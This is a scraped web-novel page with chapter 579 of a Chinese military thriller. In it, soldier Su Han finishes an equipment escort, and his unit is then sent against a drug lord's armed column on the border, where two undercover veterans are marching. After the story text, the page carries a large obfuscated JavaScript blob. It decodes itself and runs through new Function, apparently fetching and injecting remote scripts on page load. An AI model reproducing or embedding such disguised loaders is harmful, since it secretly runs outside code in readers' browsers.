首页
第579章:那两个杀人的老兵
返回
关灯 护眼:关 字号:小

第579章:那两个杀人的老兵回来了!

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第579章:那两个杀人的老兵回来了!(第1/2页)
    车队驶出山区的时候,天边刚好泛起第一线鱼肚白。
    约瑟夫握着方向盘,眼睛盯着前方的路,嘴唇抿得很紧。
    从坡顶下来之后,他一句话都没说。
    不是不想说,是不知道该说什么。
    他亲眼看见苏寒从坡上走下来,作训服上全是泥和血——不是他的血,是那些雇佣兵的血。
    左肩的布料被子弹烧出一道焦痕,右臂的袖子被碎石划破了几个口子,脸上沾着硝烟和尘土,整个人像是从地狱里爬出来的。
    但他走下来的时候,嘴里叼着烟.
    约瑟夫当兵一年,见过不少人。
    有勇敢的,有胆小的,有爱吹牛的,有闷头干活的。
    但他从来没见过这种人——刚杀了十几个人,蹲在尸体旁边,抽着从死人身上捡的烟,跟战友聊午餐肉好不好吃。
    “苏。”约瑟夫终于开口了,声音有点发紧。
    “嗯?”
    “你打仗的时候,不怕吗?”
    苏寒靠在椅背上,闭着眼睛,像是在打盹。
    过了好几秒,他才开口道:“怕。”
    约瑟夫愣了一下:“那你怎么还能——”
    “怕归怕,打归打。”苏寒睁开眼睛,看着窗外飞速后退的灌木丛,“怕是一种感觉,打是一种动作。感觉不能代替动作,动作也不能消除感觉。它们俩是两回事。”
    约瑟夫似懂非懂地点了点头。
    车队在中午十一点左右抵达了目的地——A国北部边境的一个军事基地。
    说是军事基地,其实就是几排水泥房子围着一片黄土操场,操场边上停着几辆老式装甲车,轮胎瘪了,车身上全是弹孔。
    操场的旗杆上挂着A国国旗,被风吹得猎猎作响。
    基地的指挥官是一个五十多岁的上校,头发花白,脸上的皮肤被太阳晒得像老树皮。
    他站在操场边上,身后跟着几个参谋,看着车队一辆一辆地开进来。
    哈桑上尉从头车的皮卡上跳下来,快步走到上校面前,敬了个礼,用当地话汇报了几句。
    上校的脸色变了好几次——从惊讶到震惊,从震惊到不可置信,最后变成了一种复杂的、说不出话的表情。
    他走到苏寒面前,伸出手。
    苏寒握住他的手。
    “谢谢。”上校用英语说道:“哈桑告诉我了。没有你们,这批装备到不了这里。”
    “分内的事。”苏寒松开手。
    上校又跟周默、猴子、大熊、山猫依次握了手。
    装备交接花了大半个下午。十二辆轮式装甲车,二十四辆军用运输车,还有一批通讯设备和后勤物资,一台一台地检查、登记、签字。
    A国的后勤军官拿着清单,对着每一辆车的编号逐一核对。
    苏寒蹲在操场边上的树荫底下,看着那些A国士兵围着装甲车转来转去。
    有的钻进炮塔里摸索,有的趴在车底下检查底盘,有的打开发动机盖,对着里面的管路指指点点。
    他们的眼睛里有一种苏寒很熟悉的光——不是贪婪,是渴望。
    是一个弱国军队对能保护自己的武器的那种、刻进骨头里的渴望。
    傍晚的时候,周默接到了王援朝的电话。
    卫星电话的信号不太好,王援朝的声音断断续续的,夹杂着沙沙的电流声,。
    “周默!你们那边完事了没有?”
    “报告大队长,装备已经全部交接完毕。A国方面验收通过了,签了字。”
    “人呢?有没有伤亡?”
    “没有。山猫脸上擦破点皮,苏寒左肩被子弹烧了一下,皮外伤。其他人完好。”
    王援朝忽然变得紧张起来,声音极大的吼道:“苏寒又挨枪子了?!”
    周默把电话拿远了一点:“大队长,不是挨枪子,是子弹擦过去的。皮外伤,连血都没怎么出。”
    “你让他接电话!”
    周默把电话递给苏寒,脸上的表情像是在说“自求多福”。
    苏寒接过电话:“大队长。”
    “苏寒!你他妈怎么回事?出发之前我怎么跟你说的?全须全尾地回来!少一根汗毛我拿周默是问!你倒好,又让子弹给擦了一下?你那条胳膊是不是不想要了?”
    苏寒等王援朝骂完了,才开口道:“大队长,真是皮外伤。作训服烧了个洞,肩膀上的皮红了一块,连药都没上。”
    “真的?”
    “真的。您不信回来您自己看。”
    王援朝哼了一声:“行,你自己说的。回来看不见伤,看我怎么收拾你。”
    苏寒苦笑:“是。”
    …………
    一周后,众人回到了猎鹰基地,王援朝给他们放了三天假期。
    三天假期。
    苏寒哪儿也没去。
    第一天,他在宿舍睡了一整天。
    从晚上睡到第二天晚上,中间醒了一次,喝了口水,吃了两块压缩饼干,又倒头睡了。
    猴子来敲过一次门,喊他去吃饭,他应了一声,翻了个身又睡着了。
    猴子在门外站了一会儿,走了。
    第二天,他去医务室让老张看了看右臂。老张捏了捏他的肩膀,又让他做了几个动作——前平举、侧平举、俯卧撑、引体向上。
    苏寒一个一个做了,右臂的肌肉在发力的时候微微发颤,但幅度比一个月前小多了。
    老张摘下眼镜,擦了擦,重新戴上,看着苏寒的右臂,脸上的表情像是看到了什么不可思议的东西。
    “苏寒,你这胳膊——”
    “怎么了?”
    “恢复得比我想的快。”老张把听诊器挂在脖子上,“你这条胳膊,我原本的预期是能恢复到正常活动的水平就不错了。后来你硬是练到能扛圆木了,我觉得已经是奇迹了。现在——现在它的力量已经恢复到伤前的八成左右了。按这个速度,再有几个月,能恢复到九成以上。”
    苏寒活动了一下右臂,握了握拳。
    手指收拢的时候,能感觉到肌肉在皮肤下面绷紧,那股力量感比以前踏实多了。
    “够用了。”
    老张看着他,叹了口气:“你这个人,永远都是‘够用了’。从来不说‘我好了’,只说‘够用了’。”
    第四天凌晨三点,苏寒被对讲机的电流声吵醒了。
    “全体注意,全体注意。一级战备,立即到会议室集合。重复,一级战备,立即到会议室集合。”
    苏寒从床上弹起来的时候,猴子还裹着被子打呼噜。
    他一把掀掉猴子的被子,把作训服扔在他脸上。
    “别睡了,一级战备。”
    猴子一个激灵坐起来,眼睛还没睁开,手已经在摸衣服了:“什么情况?”
    “不知道。但能让大队长这个点叫集合的,肯定不是小事。”
    两个人套上作训服,蹬上作战靴,冲出宿舍。
    走廊里已经全是人了——周默从对面的门里出来,边走边拉拉链。
    大熊光着膀子抱着衣服,一边跑一边往身上套,山猫最利索,已经穿好了,正靠在会议室门口等他们。
    会议室里,灯全开着,惨白的日光灯把每个人的脸都照得发青。
    王援朝站在最前面,身后的投影屏幕上打着一张地图——不是非洲的,是国内的。
    西南边境,一条弯弯曲曲的红线标注着国境线,红线的这一侧,是一片标注着密密麻麻等高线的山区。
    他手里拿着一份传真。
    “十分钟前,边防部队的雷达站在这个位置——”
    他用红外线笔在地图上点了一下,一个叫做“野象谷”的地方,“发现了一伙武装人员,正在从境外向我方境内渗透。人数大约在四十到五十人之间,携带自动武器,部分人员携带火箭筒和迫击炮。”
    会议室里的空气瞬间凝固了。
    四十到五十人。
    自动武器。火箭筒。迫击炮。
    这不是普通的偷渡,这是一支成建制的武装力量。
    “情报部门已经确认,这伙人是境外一个叫‘阮老大’的毒枭的私人武装。”
    王援朝按了一下遥控器,屏幕上换了一张照片——一个五十多岁的男人,皮肤黝黑,脸很瘦,颧骨高耸,眼窝深陷,穿着一件花衬衫,脖子上挂着一根拇指粗的金链子。
    照片是偷拍的,角度不好,但他的眼睛被闪光灯映得发亮。
    “阮老大,境外贩毒武装的头目,控制着金三角地区将近三成的毒品贸易。他的手下大概有两百人,装备精良,训练有素。其中有几个是东南亚各国退役的特种兵,被他花大价钱挖过去的。”
    屏幕上又换了一张照片。
    这次的画面是几辆皮卡,车顶上架着重机枪,车厢里站着手持自动步枪的武装人员。
    他们的作训服五花八门,有丛林迷彩、沙漠迷彩,还有几个穿着便装,但手里的家伙是实打实的——美制M4、俄制AK、比利时产的FNFAL,什么都有。
    “这是上个月,情报人员在境外拍到的阮老大武装的巡逻画面。”王援朝放下遥控器,双手撑在桌沿上,“他们的装备,你们看见了。不比正规军差多少。”
    猴子低声骂了一句:“我操,这他妈是贩毒的还是打仗的?”
    “贩毒的,也是打仗的。”王援朝说道,“在金三角那个地方,没有枪,连一公斤货都运不出去。阮老大能占住三成的市场份额,靠的不是生意头脑,是枪杆子。”
    他直起身,目光扫过会议室里的每一个人。
    “这次渗透进来的,是阮老大的精锐。带队的是一个叫‘阿坤’的人妖国退役特种兵,三十八岁,擅长丛林战和近身格斗。”
    屏幕上换了一张照片。
    一个精瘦的男人,皮肤黑得像涂了炭,穿着一身丛林迷彩,手里端着一支M4卡宾枪。
    “这个人,不好对付。”王援朝的声音沉下来,“他在泰南打了六年丛林战,死在他手里的敌人不下一百个。退役后被阮老大挖过去,专门负责训练武装人员。”
    会议室里没人说话。
    所有人的眼睛都盯着屏幕上的阿坤。
    “现在是凌晨三点二十分。给你们二十分钟准备。三点四十,直升机准时起飞。”
    (本章未完,请点击下一页继续阅读)第579章:那两个杀人的老兵回来了!(第2/2页)
    所有人站起来,鱼贯往外走。
    凌晨三点三十五分,猎鹰基地的停机坪上,两架直-8运输直升机的旋翼已经开始转动了。
    巨大的轰鸣声撕破了夜空的寂静,旋翼卷起的风把地面的草叶和尘土吹得漫天飞舞。
    机舱里的红灯亮着,把每个人的脸都照成暗红色。
    苏寒坐在第二架直升机的舱门边上,右腿搭在舱门外,枪横在膝盖上。
    猴子坐在他旁边,正在往弹匣里压子弹——不是平时训练用的空包弹,是实打实的5.8毫米实弹,弹头在红灯下泛着冷光。
    周默坐在对面,正在跟武警特勤中队的中队长对表。
    那个中队长叫方岩,三十出头,脸上的皮肤被西南边境的太阳晒得粗糙发黑。
    他蹲在机舱里,膝盖上摊着一张防水地图,用指北针压着。
    “野象谷的地形,我熟。”方岩指着地图上一条弯弯曲曲的沟壑,“这条沟是走私贩子常走的路线,从边境线一直通到我们这边的三号公路。”
    “沟底有一条季节河,现在正好是枯水期,河床露出来了,能走人。两边是密林,树冠连成一片,从上面根本看不见沟底的情况。”
    周默点了点头:“他们现在到哪儿了?”
    “根据雷达站最后一次捕捉到的信号,他们刚过边境线,正在往野象谷方向移动。速度不快,应该是在等天亮。雨林里夜里行军太危险,他们可能会在谷底找一个地方蹲到天亮再走。”
    苏寒听着他们的对话,眼睛一直盯着舱门外的夜空。
    云层很厚,没有星星,没有月亮,整个天空像一块巨大的黑色绒布,把大地捂得严严实实。
    要下雨了。
    直升机在夜空中飞行了大概四十分钟。
    舱内没有人说话,只有发动机的轰鸣声和旋翼切割空气的尖啸声。
    方岩突然拍了一下周默的肩膀,指了指耳机。
    周默按住耳机听了几秒,脸色变了。
    “收到。明白。”
    他放下手,看着机舱里的人:“边防巡逻队刚才在野象谷北侧发现了新鲜的脚印。四五十个人的脚印,踩在河床的淤泥里,还在往深处走。脚印很新,不超过一个小时。”
    机舱里的气氛瞬间绷紧了。
    苏寒把枪从膝盖上拿起来,检查了一下保险,又放回去。
    他看着舱门外黑黢黢的雨林——从上面看下去,整片雨林像一片黑色的海洋,树冠层层叠叠,什么都看不见。但那个地方,那些人,就在那片黑色海洋的下面。
    与此同时,野象谷深处。
    雨林里的夜黑得像墨汁,手电筒的光照出去,只能照亮前面几米的地方。
    光柱里有无数细小的飞虫在飞舞,像飘在空中的灰尘。
    两边的树冠太密了,把天空遮得严严实实,连一丝天光都漏不下来。
    谷底的河床已经干涸了大半,只剩中间一条细细的水流还在淌,水深不到脚踝。
    河床上的鹅卵石被水流冲刷得光滑发亮,踩上去滑溜溜的,不时有人趔趄一下,低声骂一句脏话。
    队伍拉得很长,四十多个人在河床里排成一列,前后拖了将近两百米。
    最前面是几个尖兵,端着AK,枪上挂着战术手电,光柱在黑暗里扫来扫去。
    中间是几个扛着RPG和迫击炮的,武器用塑料布包着,防止受潮。
    最后面是几个断后的,走走停停,时不时回头看一眼来路。
    队伍的最后面,隔着其他人大概十几米的距离,走着两个人。
    一个肩膀很宽,腰板挺得笔直,扛着一支AK,枪口朝下。
    另一个瘦高个,颧骨很高,脸上有一道从眉梢划到下巴的刀疤,端着一支M16,枪托抵在肩膀上。
    如果苏寒在的话,便能一眼认出这两人!
    刘海。
    吴敌。
    吴敌侧过头,压低声音,嘴唇几乎贴着刘海的耳朵:“老刘,你说他们收到了没有?”
    刘海没看他,眼睛盯着前方的黑暗:“应该收到了。咱们的情报是三天前送出去的,用的是老渠道。那个渠道,我用了十几年,从来没出过岔子。”
    “那他们怎么还没动静?”
    “急什么。”刘海的声音压得很低,“四十多号人,装备精良,不能硬碰。得布好局,选好位置,等他们自己钻进去。你要是当指挥,你会现在就动手?”
    吴敌不说话了。
    他抬起头,看了一眼头顶的树冠。
    树冠太密了,看不见天空,但他能感觉到——空气中的湿度越来越大,泥土的腥味越来越重。
    “要下雨了。”
    “嗯。”
    “下雨好。雨声能盖住脚步声。”
    两个人又沉默地走了一段。
    前面的队伍在一个河湾处停下来,尖兵用手电筒往前面照了照,朝后面打了个手势——安全。
    队伍继续前进。
    吴敌突然开口了,声音比刚才更低:“老刘,你说咱们这回,能活下来吗?”
    刘海转过头,看着他。
    黑暗中看不清吴敌的表情,但刘海能从他的声音里听出一些东西——不是怕,是一种说不清道不明的、沉甸甸的东西。
    “活?杀了十几个人,你还想活?”刘海苦笑。
    “那你怕不怕?”
    刘海没有立刻回答。
    他扛着AK,踩着鹅卵石,一步一步地往前走。走了大概十几步,才开口。
    “怕。但怕也得干。”
    吴敌笑了一下。
    那个笑容在黑暗里看不见,但刘海能感觉到。
    “你他妈跟苏寒说的一模一样。”吴敌说道,“那天晚上在山洞里,我问他怕不怕,他也是这么说的。怕,但怕没用。”
    刘海没接话。
    他想起两个多月前,在边境线对面的那片林子里,苏寒站在那棵大榕树下,脸上青一块紫一块,嘴角还挂着血痂。
    他跟他们说,老兵,你们保重。
    那个年轻人,拿自己的命赌了一把,帮他们出境。
    现在,他们回来了。
    不是回来送死的,是回来干事的。
    阮老大的这批人,在金三角盘踞了十几年,祸害了不知道多少人。
    华夏这边的禁毒部队围剿了好几次,每次都让他跑了。他的眼线太多,装备太好,情报太灵。
    硬打打不掉,渗透也渗透不进去。
    但刘海和吴敌能进去。
    因为他们是“逃犯”——在阮老大那些人眼里,他们是华夏的叛徒,是杀过人的亡命徒。
    这种人,正是阮老大需要的。
    他们在东南亚辗转了一个多月,通过以前的关系,搭上了阮老大手下的一条线。
    阮老大亲自面试的他们——说是面试,其实就是让他们一人杀一个人,交投名状。
    他们杀了。
    杀的是阮老大从地牢里提出来的两个敌对势力的俘虏。
    不杀,就进不来。
    杀了,手上就沾了血。
    但刘海知道,那两个人就算他们不杀,也活不过当晚。
    阮老大只是用那两个人的命,来试他们的忠心。
    他们进来了。在里面待了将近一个月,摸清了阮老大的行动规律、人手分布、武器装备,还有这次渗透行动的全部计划——路线、时间、人手、接应点,一清二楚。
    然后他们通过刘海十几年前在金三角布下的老渠道,把情报送了出去。
    华夏的禁毒部队收到情报了吗?
    收到了。
    但禁毒部队不知道情报是谁送的。
    那是一条单向的、匿名的老渠道,只有刘海知道怎么用。
    所以现在,他们走在阮老大的队伍里,扛着毒贩的枪,踩着雨林的泥。
    等着华夏的部队,把他们跟这四十多号人一起,包进饺子馅里。
    吴敌突然开口道:“老刘,你说苏寒那小子,这次会不会来?”
    刘海愣了一下:“不知道。”
    “要是他来了,你打算怎么办?”
    刘海沉默了,他扛着AK,走了很长一段路,才说了一句:“要是他来了,我想死在他手里。”
    吴敌:“……”
    …………
    雨终于下下来了。
    不是那种淅淅沥沥的小雨,是热带雨林特有的、瓢泼一样的大雨。
    雨水从树冠的缝隙里灌下来,打在鹅卵石上,打在人的脸上,打在地面上,发出噼里啪啦的声响。
    整个谷底瞬间变成了一条河,水流从脚踝涨到小腿,从清澈变成浑浊。
    队伍开始乱了。
    有人喊叫着让前面的人走慢点,有人骂骂咧咧地把塑料布往头上顶,有人脚底打滑摔进水里,爬起来的时候浑身湿透。
    尖兵的手电筒光在大雨里变得模糊不清。
    刘海和吴敌走在最后面,雨水顺着他们的头发往下淌。
    “这雨下得好。”刘海抹了一把脸上的水,“雨越大,他们的热成像越不好使。咱们的机会越大。”
    吴敌点了点头。
    队伍在一个峭壁下面的凹洞里停下来躲雨。说是凹洞,其实就是一块凸出的岩石,底下能站十几个人。
    其他人挤在旁边的树下,把塑料布撑在头顶上。
    阿坤站在凹洞中间,手里拿着一张防水地图,用战术手电照着。
    他的脸上全是水,但表情很平静——打过仗的人,不会被一场雨影响。
    “还有多远?”旁边一个喽啰问道。
    阿坤:“按照现在的速度,天亮之前能到三号公路。接应的人会在那里等我们。到了三号公路,装上卡车,天亮之前就能散进山里。”
    喽啰咧嘴笑了一下,露出一口被槟榔染黑的牙齿。
    刘海和吴敌站在凹洞的最边缘,雨水从岩石边缘滴下来,打在他们肩膀上。
    他们听着阿坤的话,脸上没什么表情。
    三号公路。
    接应的人。
    天亮之前散进山里。
    情报里全有。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();